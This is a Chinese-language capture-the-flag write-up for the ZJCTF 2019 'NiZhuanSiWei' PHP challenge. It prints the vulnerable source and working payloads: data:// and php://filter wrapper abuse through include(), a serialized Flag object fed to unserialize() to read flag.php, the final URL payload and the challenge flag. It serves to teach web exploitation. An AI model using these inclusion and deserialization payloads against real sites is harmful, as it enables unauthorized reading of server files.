[ZJCTF 2019]NiZhuanSiWei
开题得到源码:
1 <?php
2 $text = $_GET["text"];
3 $file = $_GET["file"];
4 $password = $_GET["password"];
5 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
6 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
7 if(preg_match("/flag/",$file)){
8 echo "Not now!";
9 exit();
10 }else{
11 include($file); //useless.php
12 $password = unserialize($password);
13 echo $password;
14 }
15 }
16 else{
17 highlight_file(__FILE__);
18 }
19 ?>
可以看到题目要求我们传入三个值:$text,$file,$password.
第一个考点:data协议写入文件text
payload:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
因为file_get_contents()函数是对文件的处理函数,并且题目并没有为我们提供文件上传点,所以这里我们使用data://协议将welcome to the zjctf的base64值写入文件$text中,即可通过第一个if判断.
第二个考点:php协议写入usless.php文件
payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
在下面我们看到了危险函数include(),所以这里用php伪协议去读取题目提示中的usless.php
读取到的内容如下(base64解密之后得到):
1 <?php 2 3 class Flag{ //flag.php 4 public $file; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("U R SO CLOSE !///COME ON PLZ"); 10 } 11 } 12 } 13 ?>
结合源码得知最后一个考点是反序列化,没什么绕的直接给出exp:
1 <?php 2 3 class Flag{ //flag.php 4 public $file = "flag.php"; 5 public function __tostring(){ 6 if(isset($this->file)){ 7 echo file_get_contents($this->file); 8 echo "<br>"; 9 return ("U R SO CLOSE !///COME ON PLZ"); 10 } 11 } 12 } 13 $A = new Flag; 14 $B = serialize($A); 15 echo $B; 16 ?>//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag:flag{fd1bc57d-deb3-4fb3-b3c4-a31a62777780}
给出PHP支持的三种伪协议对比:
1 include($_GET['file']) 2 include('php://filter/convert.base64-encode/resource=index.php'); 3 include('data://text/plain;base64,cGhwaW5mbygpCg==');